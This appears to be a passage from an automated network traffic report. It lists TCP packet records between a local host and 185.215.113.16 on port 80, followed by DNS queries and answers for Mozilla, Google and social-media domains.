Jul 27, 2024 03:19:38.628194094 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628230095 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628237009 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628262997 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628305912 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628305912 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628323078 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628372908 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628407001 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628417969 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628417969 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628439903 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628477097 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628494024 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628494024 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628530025 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628544092 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628577948 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628609896 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628619909 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628619909 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628643036 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628676891 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628685951 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628685951 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628710985 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628743887 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628753901 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628753901 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628891945 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.628937960 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.628937960 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629014969 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629049063 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629057884 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629084110 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629127026 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629127026 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629136086 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629167080 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629215002 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629215002 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629220963 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629275084 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629282951 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629308939 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629313946 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629342079 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629343987 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629375935 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629405975 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629407883 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629426003 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629441977 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629450083 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629475117 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629503012 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629517078 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629582882 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629622936 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629632950 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629667044 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629678965 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629698992 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629703045 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629745007 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629750967 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629785061 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629808903 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629825115 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629828930 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629859924 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629877090 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629894018 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629923105 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629928112 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629931927 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629961014 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.629983902 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.629995108 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.630008936 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.630029917 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.630037069 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.630063057 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.630083084 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.630120993 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660468102 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660502911 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660516024 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660528898 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660552979 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660617113 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660651922 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660693884 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660744905 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660757065 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660768032 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.660779953 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660800934 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.660813093 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.688962936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.688996077 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689013004 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689028025 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689028025 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689043045 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689054966 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689054966 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689068079 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689075947 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689091921 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689105988 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689120054 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689122915 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689122915 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689122915 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689145088 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689161062 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689167976 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689176083 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689182997 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689189911 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689198017 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689213037 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689220905 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689229965 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689244986 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689255953 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689274073 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689291954 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689291954 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689295053 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689311028 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689322948 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689326048 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689340115 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689342022 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689353943 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689356089 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689374924 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.689378023 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689421892 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.689421892 CEST	49725	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 03:20:03.543378115 CEST	192.168.2.6	1.1.1.1	0x935c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:03.573767900 CEST	192.168.2.6	1.1.1.1	0x5615	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:04.414956093 CEST	192.168.2.6	1.1.1.1	0x5237	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.414956093 CEST	192.168.2.6	1.1.1.1	0x9a2d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.437589884 CEST	192.168.2.6	1.1.1.1	0x6ce5	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.440313101 CEST	192.168.2.6	1.1.1.1	0x5ef2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.447093010 CEST	192.168.2.6	1.1.1.1	0x7f45	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:04.449997902 CEST	192.168.2.6	1.1.1.1	0x51d2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:25.649180889 CEST	192.168.2.6	1.1.1.1	0x7118	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:26.501631975 CEST	192.168.2.6	1.1.1.1	0x8b4b	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.502003908 CEST	192.168.2.6	1.1.1.1	0xe7a5	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.506736040 CEST	192.168.2.6	1.1.1.1	0xf0d9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.516855955 CEST	192.168.2.6	1.1.1.1	0xec78	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.523869991 CEST	192.168.2.6	1.1.1.1	0x703a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:26.557410955 CEST	192.168.2.6	1.1.1.1	0xc5d0	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.563605070 CEST	192.168.2.6	1.1.1.1	0xd605	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.564191103 CEST	192.168.2.6	1.1.1.1	0xe4ea	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.571249008 CEST	192.168.2.6	1.1.1.1	0x3ce3	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.578785896 CEST	192.168.2.6	1.1.1.1	0xed6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:26.584547997 CEST	192.168.2.6	1.1.1.1	0xabdd	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.585145950 CEST	192.168.2.6	1.1.1.1	0x88	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.598913908 CEST	192.168.2.6	1.1.1.1	0xa6d1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:26.599278927 CEST	192.168.2.6	1.1.1.1	0xcb16	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:29.073931932 CEST	192.168.2.6	1.1.1.1	0x319f	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:29.113236904 CEST	192.168.2.6	1.1.1.1	0xceef	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:29.121442080 CEST	192.168.2.6	1.1.1.1	0x68ba	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:33.264844894 CEST	192.168.2.6	1.1.1.1	0x14cf	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:43.331557035 CEST	192.168.2.6	1.1.1.1	0x3194	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:44.384603977 CEST	192.168.2.6	1.1.1.1	0x1b4d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:44.393177986 CEST	192.168.2.6	1.1.1.1	0x6268	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:46.453599930 CEST	192.168.2.6	1.1.1.1	0xc0e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:48.334595919 CEST	192.168.2.6	1.1.1.1	0x15a4	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:48.342427015 CEST	192.168.2.6	1.1.1.1	0x3360	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:48.361171961 CEST	192.168.2.6	1.1.1.1	0x96b2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:52.536355972 CEST	192.168.2.6	1.1.1.1	0xfd2a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:52.540003061 CEST	192.168.2.6	1.1.1.1	0xcb5f	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:52.562015057 CEST	192.168.2.6	1.1.1.1	0xd7d8	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.578994036 CEST	192.168.2.6	1.1.1.1	0x37c1	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.583380938 CEST	192.168.2.6	1.1.1.1	0x8e9c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.587973118 CEST	192.168.2.6	1.1.1.1	0x7d89	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Jul 27, 2024 03:20:52.612989902 CEST	192.168.2.6	1.1.1.1	0xdb8a	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.622718096 CEST	192.168.2.6	1.1.1.1	0x54c3	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.631740093 CEST	192.168.2.6	1.1.1.1	0x321d	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:59.082837105 CEST	192.168.2.6	1.1.1.1	0xacd7	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.082990885 CEST	192.168.2.6	1.1.1.1	0x1e36	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.090325117 CEST	192.168.2.6	1.1.1.1	0xd493	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.126931906 CEST	192.168.2.6	1.1.1.1	0x1e36	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.126967907 CEST	192.168.2.6	1.1.1.1	0xacd7	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.126967907 CEST	192.168.2.6	1.1.1.1	0xd493	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.905328989 CEST	192.168.2.6	1.1.1.1	0x9ded	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.905476093 CEST	192.168.2.6	1.1.1.1	0xcb03	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.908149004 CEST	192.168.2.6	1.1.1.1	0x25f7	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.913090944 CEST	192.168.2.6	1.1.1.1	0xe41d	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Jul 27, 2024 03:20:59.913523912 CEST	192.168.2.6	1.1.1.1	0x55ca	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Jul 27, 2024 03:20:59.915869951 CEST	192.168.2.6	1.1.1.1	0x405c	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Jul 27, 2024 03:20:59.923080921 CEST	192.168.2.6	1.1.1.1	0x469b	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.936326027 CEST	192.168.2.6	1.1.1.1	0xc3da	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.949594021 CEST	192.168.2.6	1.1.1.1	0xa8ae	Standard query (0)	twitter.com	28	IN (0x0001)	false
Jul 27, 2024 03:21:00.561857939 CEST	192.168.2.6	1.1.1.1	0x13ef	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 03:20:03.527967930 CEST	1.1.1.1	192.168.2.6	0x463b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:03.550645113 CEST	1.1.1.1	192.168.2.6	0x935c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421785116 CEST	1.1.1.1	192.168.2.6	0x5237	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421839952 CEST	1.1.1.1	192.168.2.6	0x9a2d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:04.421839952 CEST	1.1.1.1	192.168.2.6	0x9a2d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
